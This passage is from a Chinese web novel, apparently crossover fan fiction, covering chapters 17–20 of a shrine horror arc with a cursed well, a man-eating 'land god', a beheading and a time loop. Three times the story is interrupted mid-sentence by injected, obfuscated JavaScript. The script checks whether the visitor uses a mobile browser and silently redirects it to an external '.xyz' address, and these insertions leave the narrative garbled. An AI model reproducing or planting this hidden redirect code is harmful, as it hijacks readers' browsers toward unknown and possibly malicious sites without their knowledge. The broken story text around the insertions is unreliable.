中岛敦捂住口鼻,异常艰难地开口:“佐藤先生,这是——” “是死人的味道。”佐藤阳翔说,“血腥味和类似死老鼠的味道混合在一块,难怪会特意在这里建房子,这种味道泄露出去应该很不妙吧。” 中岛敦简直想要冲出去抱着垃圾桶呕吐了。 “这里简直是绝妙的抛尸地点。”佐藤阳翔却忽然问,“你猜,左井彩奈和山下葉有没有来过这里?” 中岛敦突然意识到了佐藤阳翔话里的深意。他们从一开始就只在神社外的鸟居遇到了谷守慧,同行的葉和小奈却不知所踪。 如果有什么办法能让两个活人直接消失,那恐怕没有比这口井更方便的地方了。 可是,他们并没有证据。 难道要跳下去看里面有什么东西吗? 就在这时,佐藤阳翔突然起身拍了拍中岛敦的肩膀,目光瞥向门口。中岛敦顺着他的目光扭过头,瞬间浑身血液逆流,几乎汗毛都倒竖了起来——被他们半掩的门缝中突然闪过了半张脸,在被他们发现后,那道身影便如风一般消失了。 中岛敦还是认出了那张脸。 ——是谷守慧。 “…少年,我们在里面呆了多久?” “从进门到现在,应该已经过了五分钟吧。” 中岛敦的背部直冒冷汗,彷佛就和结冻一般开始发冷,他甚至觉得那个眼神比看见密密麻麻爬满神社的怪物时还要恐怖,而且越是深思,他就越觉得自己的心跳如擂般鼓动,加上弥漫在屋子里的死人味,脏器几乎要从喉管中呕出。 她刚刚,难道一直站在门口吗? 透过半掩的大门,神不知鬼不觉地屏息趴在门口,用那只总是因为微笑而眯起的眼睛死死盯着他们,那她又听到了多少?是否听见了他们刚刚说的,山下葉与左井彩奈可能被抛入枯井的猜测? 最重要的是,她为什么要这么做? 17. 第十七章(收藏破百加更一章) 31 中岛敦与佐藤阳翔在确认过室内没有其他线索后,便离开了小屋。他们重新绕回本殿前,一眼就看见了背对着他们站在原地的谷守慧,不太美好的回忆再次浮现心头,两个人的脸色都不太好看。 谷守慧听见脚步声后转过身,却和什么都没发生过似的,甚至还有些埋怨地道:“你们两个今天真的好奇怪啊,到底背着我在干什么嘛,居然这么久才过来,我都快在这里等烦了。” 见少女挂起娇嗔的神情,中岛敦甚至有点怀疑自己是不是产生错觉了。 和刚刚站在门口偷窥的家伙,真的是同一个人吗? “我们在后面逛了逛,所以才耽误了点时间。”佐藤阳翔一边观察着谷守慧的表情,一边问,“小慧刚刚去哪里了?” “我就在参殿周围采风呀。快看,我还拍了好多照片呢。”谷守慧主动拿出随身携带的手机,给两人看了刚刚她拍下的“大作”,“今天能赶上村祭节真是太好了,既然神主大人说我们想怎么样都可以,所以我就拍了好多漂亮的照片~” 二人凑上去一看,表情再次剧变。 照片拍摄下了参殿内的装潢,然而在有些阴暗的照片左上角,聚拢在一起的千足蜈蚣张开口器,看起来正在啃食一只手。那只手由于照片的过曝,显得惨白而纤细。 中岛敦再也忍受不了,扭过头蹲在地上开始干呕起来。 佐藤阳翔的表情其实也好不到哪去,他现在满脑子都是:等回去之后绝对要向武装侦探社报工伤,并且索要巨额精神损失费。 这活是人干的吗?! 但他同时也注意到,照片上,一道淡蓝色的虚影出现在了妖怪的身后。 “小奈,你怎么了?!”谷守慧见中岛敦举止异常,刚想要上前搀扶他的手臂,就被佐藤阳翔抢先一步,挽住了中岛敦的手臂。 佐藤阳翔抱歉地说:“对不起啊小慧,其实小奈今天早上就觉得身体不舒服了,只是怕你担心,才一直没说。” “那更要好好休息才行!”谷守慧立即拉下脸,“既然不舒服的话就得早点和朋友说呀,我们快点去社务所找神主大人帮忙照顾吧!” 随着夕阳已经完全黯淡下来,神社内的灯光也开始一盏盏亮起来。社务所内,神主正在制作供奉用的道具,见到三人急急忙忙地冲进来,并没有斥责他们的慌乱与失礼,而是抬起被烛灯照得略显暗淡的脸庞问:“怎么了?” “不好了,神主大人!我的朋友好像身体不太舒服,能在这里休息一会儿吗?” 神主这才开始仔细打量起中岛敦的脸庞,奇异的是,原本只是因为被具有过分冲击力的画面恶心到的少年,此刻居然真的开始产生了难受的感觉。神主先是仔细地察看了一下他紫金色的眼睛,随后又卷起他的衣摆,露出带有褐色伤疤的腹部,然后长长地叹了一口气。 “你们都去了哪里?”神主问,“你们的同伴,是被脏东西缠上了。” 谷守慧紧张道:“脏...脏东西?!” “是啊,必须做法事才可以,而且要越快越好。”神主抬起空洞的眼睛,死死盯住面前的佐藤阳翔,不容置疑地说,“...你也看到脏东西了吧?” “法事就不用做了,小奈早上只是吃坏肚子了而已。”佐藤阳翔冷淡拒绝,“今天我们的照片拍得差不多了,村祭活动很快就要正式开始了吧?小慧,我们还是早点回去吧,不要留在这里麻烦别人了。” “这怎么行,小奈看起来这么难受,你难道要她就这样回家吗?!” 不知为何,一听见佐藤阳翔说要走,谷守慧的声音就突然变得尖锐起来。她一把按住想要借着佐藤阳翔的力气起身的中岛敦,力气大得惊人:“万一小奈未来出事了怎么办?” “我们自己会负责的。”佐藤阳翔皮笑肉不笑地握住她的手,“你今晚不想回家和哥哥打电话吗,小慧?” 谷守慧却没有对刚刚的问题做出任何回应,而是抬起眼睛毫无感情地打量着面前的同伴,刚刚还尖锐激动的语气骤然平静了下来。她站在神主的面前,平常那双爱笑的眼睛,此刻却带着森然的冷意。 与当初在小屋外偷窥他们时的神情如出一辙。 “喂,你们是不是看见什么了?”她换了一副语气,听起来与本人的性格十分割裂,“我们明明是朋友...你们却总是藏着掖着,什么都不想告诉我吗?” 她的影子被摇曳的烛光拉得越来越长,带着一种几近粘稠黑暗的流动感,像是有什么东西试图从黑暗里钻出来。 几乎是同一时间,房顶也发出了什么东西在上面移动的声音,瓦片咔啦咔啦地作响,仿佛只要佐藤阳翔稍微做出一点警惕的动作,下一秒就会有什么东西从上面坠落下来。 “佐藤先生,你不用管我,快跑吧。” 中岛敦咬紧牙关,费劲全身力气才勉强站了起来,但身形看起来依旧摇摇欲坠——他很清楚现在的自己几乎丧失了战斗能力,只会成为拖累同伴的累赘而已。 眼下的一切,已经不是用【常理】可以形容的了。 再不抛弃自己,佐藤阳翔恐怕也得死在这里。 但是佐藤阳翔并没有采取行动。 令人窒息的对峙过了一秒、两秒...短短瞬息间,却几乎有半个世纪那么漫长。 佐藤阳翔终于先退了一步,缓缓开口:“我明白了,那就做法事吧。” 中岛敦愣住:“佐藤先生?” 佐藤阳翔自顾自地说:“我们到了一间装着御灵用具的屋子,里面还有一口干涸多年的废井。我想,我们应该是在那里被脏东西缠上了。神主大人,请问法事地点可以就在那里进行吗?” 谷守慧背后的影子终于安静下来。 沉默许久的神主终于咧开了一个满意的微笑。他听见了自己想要的回答,画皮似的微笑看起来令人毛骨悚然:“当然。我会在那里...为你们好好向神明传达的。” 32 武装侦探社事务所内,随着夕阳逐渐下沉,一盏象征加班的灯光亮了起来。笔尖接触纸面的沙沙声在室内回响,专注工作的国木田独步正在飞速地书写着每日的工作报告。 每日工作结束后,他都习惯在那本封面为【理想】的绿色笔记本上记录下自己的工作日志。除去那些被混蛋太宰治诓骗写下的离谱冷知识外,【理想】里的每一句话都力求严谨、细致。 今天的侦探社发生了很多事:先是麻烦集合体佐藤阳翔突然宣布加入武装侦探社,然后接到了突如其来的寻人委托,下午又收到了来自省厅幕僚的护卫委托,社内从上到下都忙得不可开交,本该尽快完成现场调查任务回来帮忙的中岛敦与佐藤阳翔,却迟迟未归。 真是的,明明还有这么多任务需要处理。 国木田独步停笔,刚摘下眼镜想要好好擦一擦,就被砰地一声推开的大门吓了一跳,差点把自己的眼镜都甩出去。 “哟!我回来啦~!” 刚从港口mafia监狱里回归的太宰治,就像像突然钻出地面的鼹鼠一样,毫无预兆地出现在了侦探社中。然而他并没有听见想象中的欢迎声,而是先迎来了国木田独步忍无可忍的一拳。 “混蛋太宰,你这几天都到哪里去了?!”国木田独步抓住他的衣领摇摇晃晃,像是恨不得把这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他本来还想在港口mafia多呆些日子的,却听说附近有一条刚整治过的河渠,太宰治干脆就心血来潮顺流而下了,结果飘到一半就被迷路的东方仗助从河里捞了起来。 太宰治只好带东方仗助来到了侦探社,幸而侦探社的人还没跑光,剩下工作狂国木田先生还在坚守岗位,总算没有耽误大事。 “所以呢,你来侦探社有什么事?”国木田独步问。 东方仗助这才拿出身上的追踪器显示屏,却发现刚刚把太宰治从河里捞起来的时候,显示屏一下子忘记拿出来,现在已经漏电开不了机了。 “没关系,可以让我的【疯狂钻石】修一下。” 下一刻,原本还在漏水的显示屏真的奇迹般地修复好了。 “...虽然已经大概知道了你的能力,不过还真好用啊。”国木田推了推眼镜,想要看看东方仗助口中那件“很重要的事”到底是什么意思,结果显示屏上面什么都没有。 他耐心地等了半晌,突然抬起头,“...小子,你是在拿我寻开心吗?” “这个看起来好眼熟啊,这不是我的东西吗?” 太宰治突然冷不丁地冒出一个头,随手在追踪器显示仪上操作了一下,调出了追踪记录。最近一次的追踪时间是在下午四点五十八分,地点是在横滨周边。 “这是阳翔临走前塞进我口袋里的。” 东方仗助在拥抱佐藤阳翔的时候,因为太过害羞,所以完全没有察觉到对方什么时候往自己的衣袋里塞了一块数据屏,直到傍晚时才从口袋里摸了出来。 结果,东方仗助正好看见象征佐藤阳翔位置的信号,突然从地图上消失了。 他起初以为是显示屏坏了,但他后来又用【疯狂钻石】修复了好几次,屏幕中依旧没能显示佐藤阳翔的位置。 ——佐藤阳翔真的消失了。 18. 第十八章 33 另一边。 入夜后,山上的气温就降低了不少,此时从山顶往下望去,既看不到村子的缩影,也听不见“村祭节活动”举办时热闹的声音,只有夜风倒灌进衣领,吹拂着因冷汗而黏着衣服的后背。 神主慢悠悠地走在最前面,手中拿着不知是铃铛还是祭祀器具的东西,随着他的脚步叮当作响。四人进入小屋后,神主拉下了房间墙壁上的电闸,浓烈发臭的死人味再次冲入鼻腔。 枯井仍旧静默在那里,愈发显得不详。 “那么,法事现在就开始吧。”神主说,“可怜的孩子啊...不管你们遇到了什么,土地神都会庇佑你们的。” 分明是温柔的语气,却无端地让人感到背后一凉。 可是,土地神真的会【庇佑】他们吗? 像屠夫安抚待宰的牛羊一般,神主一边温声安慰着两人,一边开始拿出了做法事所必要的祭刀,目光却冷冰冰地盯着站在空旷房间中的二人。 神主高举手中祭刀,在空荡荡的房间里挑起舞蹈,刀具侧锋相撞,发出令人牙酸的声音。 嚓嚓嚓。 嚓嚓嚓。 “你还好吗,敦?” 中岛敦感觉到身体愈发虚弱,眼前的一切似乎都开始分裂成了好几个缩影,并且不断地摇曳扭曲。佐藤阳翔将他安置在了远离枯井的墙边,发现他的脸上不知道什么时候已经多出了几轮褐色的印记,掀开衣服下摆,带有伤痕的腹部也同样出现了这种奇怪的印记。 这东西...不知道为何,佐藤阳翔总觉得很眼熟。 “佐藤先生...”中岛敦勉力睁开眼——现在他每完成一个动作都要耗费巨大的力气。他握住对方的手腕,声音虚弱,几乎只剩下气音,“...我...听见枯井里有东西...正在钻出来。” 白虎的感官依旧敏锐,随着祭刀刀锋相互摩擦的声音越来越急促,安静的枯井中开始发出“喀拉拉”的响声,下一刻,一只灰白的手突然攀住井沿,随后,伸出枯井中的手也变得越来越多。 伴随着祭刀相撞的声音,在白炽灯的照耀下,无数双灰白色的手血淋淋地攀紧井壁,一道瘦高的影子逐渐探出了半具躯体。 那是一个接近两人高的生物,生理构造看起来与人类完全不同,背上长满了灰白的手臂,其中有的粗糙,有的稚嫩,也有一只手,颜色似乎比其他手臂要淡一些,纤细、惨白,让中岛敦与佐藤阳翔觉得格外眼熟。 正是谷守慧拍摄的照片中,被妖怪围拢啃食的那只手。 “咚”地一声,神主终于停下动作,手中祭刀也掉落在了地上。曾经被他称作“脏东西”的家伙,现在正站在他的面前,但神主脸上的表情却虔诚且温和,一滴眼泪从他的脸上划过,仿佛教堂里迎接神明降临的狂热信徒。 他跪在了地上。 “全知全能的神啊...恭迎您的苏醒...” 中岛敦无法用语言来形容此时的感受。就像一名无神论者亲眼目睹了神明降临,他只能从喉咙中发出一个不可置信的音节:“这是...土地神?” ——“神明”这个词,在日本社会基本只存在于神话绘本或者民间传说之中。画师和小说家们为“神”的外形赋予了很多形态:有的是长着狐狸耳朵的少女,有的是张牙舞爪的非人怪物,有的是身着巫女服的神社宫司... 从来都没有确切的史实证明所谓“神”的存在,一切归根到底都还只是人类一厢情愿的幻想而已。 世界上真的有神明吗? 不知道。 可是现在,有一种远远超越了人类以往认知的生物,就这么出现在了这个狭小的祭具屋里。 神主恭敬地道:“您醒了...今天到进食的时候了。” 他扭过头,忽然把目光投向了浑身褐色印记的中岛敦,介绍道,“神啊...我遵从了您的意愿,把您选中的【食物】送来了。” ——枯井中的怪物,又或者说,【土地神】,缓慢而僵硬地扭转脖子,看着不远处的中岛敦露出了满意的嬉笑,随后,祂居然说出了人类的语言。 “太...好了。” 祂说,“找到了...新的食物...” “我好饿啊。” “我好饿啊!” “我好饿啊!!” 直到一刻,中岛敦终于意识到,自己身上突然显现的印记代表着什么意思了。 ——他就是那个被选上的人,或者说是被选中的口粮。 自己会死吗?应该会吧。 好像也没有别的出路了。 身中诅咒的中岛敦没有反抗的力气,生命力正在自己的身体里一点一点地流失,对【土地神】来说,他就犹如砧板上的猪肉,只等待被判处死刑的那一刻到来。 但是,佐藤先生要怎么办?要怎么才能让他从这里逃出去? 在这一刻,他的心中只剩下了这一个念头。如果自己真的非死不可的话,那至少要想办法帮助自己的同伴离开这里。 然而,一只手却轻轻地拍了拍他的头。 “...佐藤先生?” “别担心,少年。”佐藤阳翔拍了拍中岛敦的脑袋,轻声道,“现在,睡一觉吧——如果觉得困的话,闭上眼睛睡一觉就好了。” “我会想办法带你回家。” 34 福泽谕吉问佐藤阳翔: ——【“在危险发生之时,你能否作为一名合格的社员保护同伴,保护这座城市?”】 佐藤阳翔做出了自己的选择。 现在,已经到了为自己的选择负起责任的时候。或许他并不是什么心怀正义的人,但他同样也不是一个会把同伴独自丢在险境里的混蛋。 他卸下肩上的吉他包,深吸了一口气,将包内的东西缓缓抽了出来。 长刀在白炽灯下反射出冰冷的杀意。但佐藤阳翔并没有急着面对枯井里的【土地神】,也不急着打算清算把【土地神】引出来的神主,而是脚步一转,第一时间冲到了一个人的面前。 谷守慧抬起头,眼眸中倒映出青年举起长刀的手。 【土地神】从枯井中钻出来的那一刻,佐藤阳翔清楚地看见她的背后有什么东西同时躁动了起来。 如果没赌错的话,她一定和那个【土地神】有联系。 大概是预感到了危险,谷守慧的影子里瞬间伸出无数双灰白的手臂,果然与枯井里的手如出一辙。 这个距离太近,佐藤阳翔已经不可能再躲闪,干脆任其贯穿了自己的身体,试图在身体失力前抓住一切机会接近谷守慧。 然而,同时赶来的还有【土地神】,祂的口器中发出愤怒的咆哮,尖锐的利爪同时朝佐藤阳翔的背后袭来。 中岛敦失声喊道:“佐藤先生!” 为什么...又是这样? 无力感再次涌上他的心头。他想起弱小的自己第一次遇到芥川,却只能目睹谷崎润一郎和谷崎直美在自己面前倒下——中岛敦原本以为有了自保之力,就可以成长起来保护同伴,但这样的事却又一次在自己的面前上演。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889043|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是你的错!” 中岛敦彷佛又回到了那个阴冷黑暗的孤儿院,承受着院长的指责与谩骂,“你的存在就是一个累赘!” 累赘吗? 他疲惫地想,好像确实是这样。 在孤儿院的时候,自己就是孤儿院的累赘;在武装侦探社的时候,自己又因人虎的身份而不断连累同伴们,以至于让他们也无辜受到港口mafia的袭击。 现在面对难以战胜的强大敌人,自己也无能为力,只能看着佐藤阳翔一个人挡在自己的身前,承受着所有的伤害。 下一刻,佐藤阳翔大概就会被【土地神】的攻击撕成碎片吧;然后动弹不得的自己会被当成【土地神】的口粮吃掉,最后一切都会结束。 结束的话,那不是最好不过吗? 更何况,现在的自己还能改变什么呢? 中岛敦缓缓闭上眼睛,任凭自己沉入黑暗之中,等待着即将到来的死亡。 然而,心底却有一个拼命呐喊的声音在脑海中回荡——那是中岛敦自己的心声,不断地催促着自己:“快点动起来!” “...已经没有机会了...”他悲观地喃喃道,“佐藤先生会死,我也会死在这里...” “没有机会的话,那就用自己的双手去创造啊!” 中岛敦猛然想起了佐藤阳翔最后说的那句话:“我会想办法带你回家。” 回家。对,回家。 ——他还不想死。 在没有和侦探社的大家好好道别之前,他还不想死。 在【土地神】的利爪即将把佐藤阳翔撕成碎片的千钧一发之际,任谁都没想到,身负诅咒、本该倒在地上奄奄一息的中岛敦,居然不知何时冲了过来。 异能【月下兽】瞬间强化了他的双脚,这才让他能赶上这最后一刻。 中岛敦脸上的诅咒印记并没有消失,意味着他现在完全是在透支自己的性命行动——但正是如此,中岛敦虎化的双拳才能挥出这破釜沉舟的最后一击。 怪物被他不要命的攻势逼退两步,但这样的空档,对于佐藤阳翔来说,已经完全足够了。 “敦,你帮大忙了!” 佐藤阳翔毫不犹豫地将长刀在空中换至左手握住,朝着谷守慧的颈部砍了下去。 少女愕然地看着自己面前的场景: ——中岛敦身中诅咒,现在应该身处地狱般的折磨之中,根本就不能行动;而佐藤阳翔也已经被捅穿了身体,但他的动作完全没有停顿,表情也不曾闪过一丝痛苦与退缩。 他们真的是人类吗? 为什么,他们会选择拼命到最后一刻呢? 她的眼中在这一瞬间掠过了许多复杂的情感——不可置信、委屈、憎恶、不甘,但很快又变成了释然和解脱。 “...葉,小奈,这或许就是人类在绝境中的勇气吧。”谷守慧喃喃道,“如果没有向那个东西许愿的话...我们会不会也能找到...新的希望呢...” 下一刻,少女的头颅便带着飞溅的鲜血,骨碌碌地滚在了地上,回归了永恒的虚无之中,眼睛直勾勾盯着门口——谁都没有注意到,两道曾经出现在照片中的淡蓝色的虚影,就站在那里静静地观看着这一切。 中岛敦的生命力终于走到了尽头,他仰面倒在地上,【土地神】的尖叫、神主的怒嚎,好像都离他而去了,视野中只剩下了脏兮兮的天花板。 随后一阵白光闪过,世间的一切都像是被拉动的进度条: ——最后一秒的下一秒,即为初始的原点。 19. 第十九章 35 中岛敦睁开眼,发现自己正站在夕阳的余晖里,面前是漫长的石阶,路旁插满了小小的彩旗。再往上看,就是红色的鸟居。鸟居旁有一棵樱花树,如果没记错的话,会有一名笑容灿烂的女孩站在树下,朝他们热情地打招呼。 ...咦? 我怎么会知道? 紫金色的瞳孔猛地一缩,方才在祭具屋中发生的一幕幕这才闪回脑海:枯井中寄居的【土地神】、诡异的诅咒印记、信奉【土地神】的神主、被斩首的谷守慧、受伤的佐藤阳翔... 一切都像一场噩梦般倏忽而过,但其中细节并没有随着时间的推移变得越来越模糊,反而愈发清晰地映在他的脑海里。中岛敦低下头,发现身上的褐色印记已经消失了,身体也很健康,没有任何虚弱和难受的异常迹像。 自己没有死,还好端端地站在这里。 佐藤阳翔——啊,对了。 佐藤先生呢? 一只手在这时突然搭上了他的肩膀,把中岛敦吓得缩了一下脖子。 背着黑色吉他包的佐藤阳翔就站在他的身旁,一手搭着中岛敦的肩膀,一手扶额,咬牙切齿地怒骂道:“OO的(横滨脏话),累死老子了!” 等佐藤阳翔睁开眼睛的时候,疲惫、眩晕与头疼就像潮水一般涌来。 中岛敦愣愣地问:“佐藤先生?你还好吗?” 眼前的佐藤阳翔,并不是回忆中那个被捅穿身体的佐藤阳翔:他现在的身体完好无损,吉他包里的武器也还没有拿出来,可是表情看起来无精打采的,好像刚刚经历过一场浩劫。 “如果侦探社不给我拨巨额精神损失费的话,我就拨打横滨商业工会的官方电话,拉个横幅天天坐在事务所楼下的咖啡馆抗议,然后宣扬你们是个比港口mafia还恐怖的黑心企业...” 佐藤阳翔的声音里充满了怨念和痛斥——他这回是真后悔了:原以为自己插手调查的应该只是一桩普通的人口失踪案;再退一步,应该也只是与蓝色传送口相关的事故,作为入社测试应该并不难。 谁好人家天天会遇到异世界的力量啊? ——结果他正撞枪口。 哇,爆率真的很高! 经历的种种不仅让他的精神狂掉san值,还疑似涉及某种轮回,否则根本就无法解释,他们在除掉谷守慧后为什么又回到了最初的原点,站在了神社的山脚下。 这和恐怖片有什么区别?! 身体被捅穿的痛感还隐隐约约地从神经末梢传来,如果要佐藤阳翔再经历一遍那场死里逃生的战斗,那他干脆从山上直接跳下去好了。 “不过,现在没事就好。” 佐藤阳翔深吸一口气,又回归了往日嬉皮笑脸的模样,在中岛敦的肩膀上鼓励地拍了拍——在看见中岛敦躺在地上那一刻,他差点以为自己真的只能把中岛敦的尸体带回去了。 时间重置,最大的优点莫过于此。 谁都没有死,谁都没有受伤,在掌握一定情报的前提下,一切都有重来的可能——他们还可以再另外寻找逃出去的机会。 至少他们已经很清楚,神社里无论是人还是怪物,都没有一个是好东西。 佐藤阳翔原本想着能不能先退回村子里,一回头却发现来时的路已经消失,下面是万丈深渊,蹲在地上捡起一块石子扔下去,等了很久都没有听见任何的回音。 现在他们已经被架在了火上,进退两难。 “我们来计划一下之后的行动吧。”佐藤阳翔拍了拍手,站起身说,“谷守慧和那个怪物应该在一定程度上有某种联系,另一边的神主也很可疑,还有那个【土地神】——记得来的路上,村民说的传说吗?” 在他们前往神社的路上,村民们虽然拼命鼓动他们前往神社,但也说了不少有关【神】的传说,其中大部分有关【土地神】的伟业应该都是杜撰的产物,唯有一点很让佐藤阳翔在意。 ——“这个村子信奉的神明是一名强大的神明,传说在村祭节这一天,神明会亲自降临在神社中,将挑中的村民带往极乐之地。” 现在一看,被“挑中”的村民很可能经历了和中岛敦之前相同的事,被打上褐色的印记,然后作为【土地神】的口粮吃掉。 “那些村民不肯亲自过来神社,而是鼓动外地人过去——不仅是因为知道神社里有怪物,还可能是想让外人替代本地村民,成为【土地神】的口粮吧?” 面对这样残酷无情的现实,中岛敦的脸上闪过了难以认同的表情:“这实在是太过分了,怎么能将其他人的生命视为草芥...” “很可惜,我们现在的生命就是浮萍。”佐藤阳翔沉默片刻,随后道,“这一次,我们去【社务所】找一找与神主有关的情报,离谷守慧远一点吧——我总觉得你当时身上的印记肯定和她脱不开干系。” “我知道了。”中岛敦一想到被诅咒缠身时那种痛苦的感觉,就浑身不自在,他苦着脸说,“不过...我们本来的调查目标不就是帮助谷守先生带回他妹妹的消息吗?” “带回死人的消息那也是消息。”佐藤阳翔说,“看谷守慧那个样子...你不会觉得她还是人类吧?如果她和神社里的怪物真的出现在横滨,对所有人来说都只会是一场灾难而已。” 中岛敦沉默了。 他确实没有反驳这句话的理由。 他的理性告诉自己,为了保护横滨,这种危险的生物确实不应该留在世上;但感性又让他想起了谷守蜂那张颓废而期待的脸,妹妹对他来说就是这个世界上唯一的亲人——单凭这一点,中岛敦就想要拯救她。 她的生命,并不是可以由他们两个决定的。 “不过,既然谷守慧杀了也没有用,那就先留着吧。”佐藤阳翔看出了他脸上的不忍,没有再强迫他接受自己的观点与立场,“我们这次的重点是神主和【土地神】的来历,如果一旦有什么危险,我就马上杀了谷守慧,重来一次。” 36 接下来的经历乏善可陈,从遇见谷守慧,再到见到神主,看见神社里的怪物,一切都是一模一样的情节,好像他们只是进入了一场可以回溯进度的游戏。 佐藤阳翔旁敲侧击地打探过神主与谷守慧,他们似乎并没有重生的痕迹——也不记得之前见过自己和中岛敦,否则也不会这么好言好语地对待他们了。 “接下来我们就分开去拍照片吧!”谷守慧表情俏皮地摇了摇手机。面对那张脸,佐藤阳翔实在很难像第一次那样保持微笑,干脆丢下一句“我们四处逛逛”就拉着中岛敦钻进了本殿。 上次中岛敦无缘无故中了诅咒,按理说与他形影不离的佐藤阳翔也应该会中招才对——但佐藤阳翔变成了例外,他想来想去,发现唯一和中岛敦分开的地方,就是本殿。 当时的佐藤阳翔不仅直接钻了进去,还向神明祈祷了;而中岛敦碍于礼仪,就只是站在外围驻足看了一眼。 “不管怎么样,这次就做些和往常不一样的事情吧。” 佐藤阳翔照例祈祷了彩票高中七亿日元的发财梦,而中岛敦则许愿他和佐藤阳翔都可以安全离开——如果可以的话,他希望谷守慧也可以受到拯救。 他们在本殿许过愿后,没有再进入祭具屋——或许是因为这一次他们没有看见那口枯井,与【土地神】有关联的谷守慧这回并没有再跟踪他们。 下一个目的地,就是社务所。 神主正在制作有关祭祀的用具,在见到二人突然进来,表情略过了一丝惊讶:“你们已经参观完了神社吗?” “逛得差不多了,我们就想来这里找神主大人说说话。”佐藤阳翔说,“我们虽然是来完成美术老师布置的作业的,但其实对当地的民俗也很感兴趣。神主大人是神社的主人,可以和我们讲讲【土地神】的故事吗?” 神主手中动作一顿,停了下来。 “真难得,你们原来对【土地神】很感兴趣啊。”神主笑起来的时候,脸上总有一种莫名阴暗惨淡的色彩,“既然如此,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889044|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就来给你们讲讲这里的传说吧。” “很久很久之前——或许是几百年前的事了——这座村子还在被恶鬼的阴影笼罩着。” “恶鬼吗?” “是的。村子里的村民常常无故失踪,不是被神藏起来了,而是被鬼捉起来吃掉了。因此,鬼隐的事件常常发生,渐渐的,村子里变得人丁稀疏起来,人民畏惧恶鬼,同时又崇拜恶鬼。” “可是,明明恶鬼才是罪魁祸首,为什么村民们会崇拜恶鬼呢?”中岛敦无法理解。 “大约是因为人类在面对超出认知的事时,总是本能地又恐惧,又敬畏吧。”回答他的是佐藤阳翔,“我猜,那时候应该有很多人都希望通过供奉恶鬼,来换取生存的权利。” 神主深深地看了他一眼:“...你是个聪明人。” 敬畏与臣服,从古至今都是人类在生存受到威胁的本能反应。 “贪婪狡诈的恶鬼答应了。”神主平静地说,“祂发现,这样反而可以名正言顺地吃人——只要在某个特定的时期,要求村子用村民的性命作为供奉,让祂填饱肚子就行。” 中岛敦从未听说过这样让人感到不快的传说故事,毕竟在大家的心目中,【神明】就应该是正义的化身,是庇佑村民的守护神,而不是吃人的恶鬼。 “所以你们信奉的【土地神】其实是恶鬼的化身?” “当然不是。”神主闻言,表情一下子变得阴沉无比,“恶鬼只是想要填饱肚子而已,祂频频要求获得供奉,把村子弄得民不聊生,并没有结束村民水深火热的生活——就在这时,真正的土地神诞生了。” 神主露出了一个几乎狂热的微笑。 “祂为村民们赶走了恶鬼,并且选择了一名天生灵感充沛的村民作为村长,替祂传递神谕。村民们将土地神赶走恶鬼的那一天设为了村祭节,来赞颂这位伟大的神明。” 这就是村祭节的前身。 既是祭奠被恶鬼吃掉的村民们,也是庆贺土地神为他们带来幸福的未来。 听起来似乎是个好故事吧? 但佐藤阳翔的心里却在冷笑。他不相信,也压根没把神主口中的传说当一回事——这里面的美化成分太高,单从上回他见过的那个【土地神】来看,这个传说恐怕完全就是另一个版本。 现在的【土地神】也是吃人的,只不过吃的是外地人而已。 佐藤阳翔说:“听神主大人的说法,那位村长应该就是第一任神主吧?” “是的。”神主露出了一个自豪的微笑,“从此以后,神主之位世代传承,只有神主才能感知到真正的【土地神】,祂一直守护在这座村子里,庇佑着村民们的平安。” ——平安? 之前还把中岛敦当口粮,大喊着“好饿”的【土地神】能带来平安?这简直是天大的笑话。 中岛敦也意识到了这一点,于是下意识地看向了坐在一旁的佐藤阳翔。 听完了故事,佐藤阳翔表现得收获颇丰。他环顾一圈狭小的室内,发现社务所的书柜里塞满了各式各样的祭祀书,甚至还有杂志与民俗学,便问:“神主大人,这里的书可以借我们在这里观看吗?” “啊,这个啊,当然可以。”神主笑了笑,“难得碰到像你这种求知欲如此旺盛的年轻人,书柜里的书完全是开放的,如果你想看的话,就请自便吧。” 佐藤阳翔从书柜里抽出一本书,发现是一本对古代民俗的汇编集,书皮用特殊工艺加固过了,为了保护书页,四角做得非常硬。他放在手里掂量了一下,发现这个重量甚至比英语词典还要有分量。 中岛敦刚疑惑佐藤阳翔什么时候突然对看书感兴趣了——毕竟他们的目标是尽可能挖掘更多有关【土地神】的来历与传说,接下来应该是想方设法避开神主,在这里进行全面的搜查才对。 下一秒,他就看见佐藤阳翔面无表情地站在了神主的背后,高高扬起了那本分量充足的民俗学汇编集,朝着神主的后脑勺,毫不犹豫地狠狠砸了下去! 20. 第二十章 37 随着“砰”的一声,后脑勺挨了狠狠一击的神主应声倒下,罪魁祸首佐藤阳翔随手丢开手里的书,以最快的速度关好了社务所的门窗,然后在中岛敦目瞪口呆的注视下,用制作祭具的绳索将昏迷的神主手脚绑好,扔到了角落。 不是,佐藤先生怎么会对这种事这么熟练啊! “别愣着了,快点动起来。”佐藤阳翔自来熟地在书桌上翻找着,动作麻利得简直像洗劫商店的惯犯,“他敢让我在书柜里随便挑书看,说明书柜里大概率不会有什么线索,先从其他地方找找看吧。” 